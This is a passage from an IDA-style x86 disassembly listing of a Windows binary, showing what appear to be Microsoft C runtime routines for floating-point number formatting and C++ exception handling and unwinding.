sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9F4, ecx
		setl	cl
		mov	byte_4DB9F8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9F4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9F0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9F0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9FC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DBA00
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBA04, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9FC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBA00
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9FC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBA00, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9FC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBA00, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
